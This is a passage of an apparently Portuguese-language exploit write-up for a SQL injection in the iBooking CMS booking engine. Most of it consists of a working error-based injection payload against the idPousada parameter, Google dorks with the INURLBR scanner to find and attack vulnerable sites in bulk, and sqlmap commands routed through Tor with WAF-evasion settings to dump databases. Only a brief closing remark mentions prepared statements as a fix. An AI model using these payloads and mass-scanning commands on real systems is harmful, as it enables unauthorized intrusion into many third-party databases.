Detalhes na injeção SQL é usado FUNCTIONS básicas de injeção, mas seu diferencial é uso de variáveis Globais do MySQL.  @@GLOBAL.version = VERSÃO BANCO DE DADOS MYSQL @@GLOBAL.version_compile_os = SERVIDOR COMPILADO @@GLOBAL.version_compile_machine = TIPO DE ARQUITETURA  DO SERVIDOR  Também passo a string ::INURLBR_VULN:: no formato hexadecimal, para assim posteriormente validar se a injeção ocorreu como esperado. 0x203a3a494e55524c42525f56554c4e3a3a20 = ::INURLBR_VULN::  Print saída da injeção:


Exploração em massa usando scanner INURLBR
Baixar: https://github.com/googleinurl/SCANNER-INURLBR

Montando comando:

SETANDO DORK DE PESQUISA
--dork 'YOU_DORK'
- USE --dork 'intext:"Desenvolvido por ibooking"'

SETANDO ARQUIVO DE SAÍDA:
- USE: -s 'ibooking.txt'

SETANDO STRING EXPLOIT GET
--exploit-get 'EXPLOIT_GET'
- USE--exploit-get '/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+AND+(SELECT+2692+FROM(SELECT+COUNT(*),CONCAT(0x203a3a494e55524c42525f56554c4e3a3a20,(SELECT+(concat(@@GLOBAL.VERSION,0x20,@@GLOBAL.version_compile_os,0x20,@@GLOBAL.version_compile_machine))),0x203a3a494e55524c42525f56554c4e3a3a20,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)'

SETANDO TIPO DE VALIDAÇÃO: 
- USE: -t 3 
3 O terceiro tipo tenta válido o erro definido por: -a 'VALUE_INSIDE_THE _target " mais as validações padrões do scanner, o diferencial é que  --exploit-get é injetado direto na url:
Exemplo: --exploit-get '/index.php?id=1&file=conect.php'INJEÇÃO URL: http://www.target.br/index.php?id=1&file=conect.php

SETANDO STRING DE VALIDAÇÃO:
Especifique a string que será usada como validação no script:
Exemplo:  -a {string}
Usando:    -a '<title>hello world</title>'
Se o valor específico é encontrado no alvo, ele é considerado vulnerável.
- USE:     -a 'INURLBR_VULN'
O valor INURLBR_VULN é passado no formato hexadecimal na string exploit-get

COMANDO COMPLETO:

php inurlbr.php --dork 'intext:"Desenvolvido por ibooking"' -s 'ibooking.txt' --exploit-get '/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+AND+(SELECT+2692+FROM(SELECT+COUNT(*),CONCAT(0x203a3a494e55524c42525f56554c4e3a3a20,(SELECT+(concat(@@GLOBAL.VERSION,0x20,@@GLOBAL.version_compile_os,0x20,@@GLOBAL.version_compile_machine))),0x203a3a494e55524c42525f56554c4e3a3a20,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)' -t-a 'INURLBR_VULN'

Print saída:

Montando comando:  SETANDO DORK DE PESQUISA --dork 'YOU_DORK' - USE --dork 'intext:"Desenvolvido por ibooking"'  SETANDO ARQUIVO DE SAÍDA: - USE: -s 'ibooking.txt'  SETANDO STRING EXPLOIT GET --exploit-get 'EXPLOIT_GET' - USE: --exploit-get '/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+AND+(SELECT+2692+FROM(SELECT+COUNT(*),CONCAT(0x203a3a494e55524c42525f56554c4e3a3a20,(SELECT+(concat(@@GLOBAL.VERSION,0x20,@@GLOBAL.version_compile_os,0x20,@@GLOBAL.version_compile_machine))),0x203a3a494e55524c42525f56554c4e3a3a20,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)'  SETANDO TIPO DE VALIDAÇÃO:  - USE: -t 3  3 O segundo tipo tenta válido o erro definido por: -a 'VALUE_INSIDE_THE _target " o parametro get setando no comando --exploit-get é injetado direto na url: Exemplo: --exploit-get '/index.php?id=1&file=conect.php' INJEÇÃO URL: http://www.target.br/index.php?id=1&file=conect.php  SETANDO STRING DE VALIDAÇÃO: Especifique a string que será usada como validação no script: Exemplo:  -a {string} Usando:    -a '<title>hello world</title>' Se o valor específico é encontrado no alvo, ele é considerado vulnerável. - USE:     -a 'INURLBR_VULN'  COMANDO COMPLETO:  php inurlbr.php --dork 'intext:"Desenvolvido por ibooking"' -s 'ibooking.txt' --exploit-get '/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+AND+(SELECT+2692+FROM(SELECT+COUNT(*),CONCAT(0x203a3a494e55524c42525f56554c4e3a3a20,(SELECT+(concat(@@GLOBAL.VERSION,0x20,@@GLOBAL.version_compile_os,0x20,@@GLOBAL.version_compile_machine))),0x203a3a494e55524c42525f56554c4e3a3a20,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)' -t 3 -a 'INURLBR_VULN'  Print saída:


EXPLORANDO VIA SQLMAP:

python sqlmap.py -u 'http://ww.target.br/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=1&idPousada=61' --dbs --random-agent --tor --tor-type=SOCKS5 -p idPousada --answers='follow=N,union-char=Y,time-sec=10,level=3,risk=2,dbms=MySQL,testing=Y,WAF/IPS/IDS=Y,check=Y'



EXPLORANDO INURLBR + SQLMAP:
Usando parâmetro da ferramenta inurlbr --command-vul, vai executar comando sqlmap quando constatar uma possível vulnerabilidade de acordo com as informações passadas.

php inurlbr.php --dork 'intext:"Desenvolvido por ibooking"' -s 'ibooking.txt' --exploit-get '/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+AND+(SELECT+2692+FROM(SELECT+COUNT(*),CONCAT(0x203a3a494e55524c42525f56554c4e3a3a20,(SELECT+(concat(@@GLOBAL.VERSION,0x20,@@GLOBAL.version_compile_os,0x20,@@GLOBAL.version_compile_machine))),0x203a3a494e55524c42525f56554c4e3a3a20,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)' -t 3 -a 'INURLBR_VULN' --command-vul "python sqlmap -u 'http://_TARGET_/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=1&idPousada=61' --dbs --random-agent --tor --tor-type=SOCKS5 -p idPousada --answers='follow=N,union-char=Y,time-sec=2,level=3,risk=2,dbms=MySQL,technique=BEUS,testing=Y,WAF/IPS/IDS=Y,check=Y' --flush-session"

Print saída: 
  EXPLORANDO INURLBR + SQLMAP: Usando parâmetro da ferramenta inurlbr --command-vul, vai executar comando sqlmap quando constatar uma possível vulnerabilidade de acordo com as informações passadas.  php inurlbr.php --dork 'intext:"Desenvolvido por ibooking"' -s 'ibooking.txt' --exploit-get '/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+AND+(SELECT+2692+FROM(SELECT+COUNT(*),CONCAT(0x203a3a494e55524c42525f56554c4e3a3a20,(SELECT+(concat(@@GLOBAL.VERSION,0x20,@@GLOBAL.version_compile_os,0x20,@@GLOBAL.version_compile_machine))),0x203a3a494e55524c42525f56554c4e3a3a20,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)' -t 3 -a 'INURLBR_VULN' --command-vul "python sqlmap -u 'http://_TARGET_/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=1&idPousada=61' --dbs --random-agent --tor --tor-type=SOCKS5 -p idPousada --answers='follow=N,union-char=Y,time-sec=2,level=3,risk=2,dbms=MySQL,technique=BEUS,testing=Y,WAF/IPS/IDS=Y,check=Y' --flush-session"



Use Prepares  statement sem moderação:
http://php.net/manual/pt_BR/pdo.prepare.php

Filtro de request seja POST ou GET:

O arquivo aparecendo ou não para o cliente, ele pode ser vulnerável do mesmo jeito.


Outra falha que foi encontrada no sistema semana passada de titulo:
(0day) IBOOKING CMS - LOCAL FILE DISCLOSURE VULNERABILITY
Encontrada por: Pablo Verlly Moreira, que já foi reportada e corrigida pelo admin, mas sem nem um agradecimento por parte da equipe.

https://ghostbin.com/paste/e99uz

Referencias: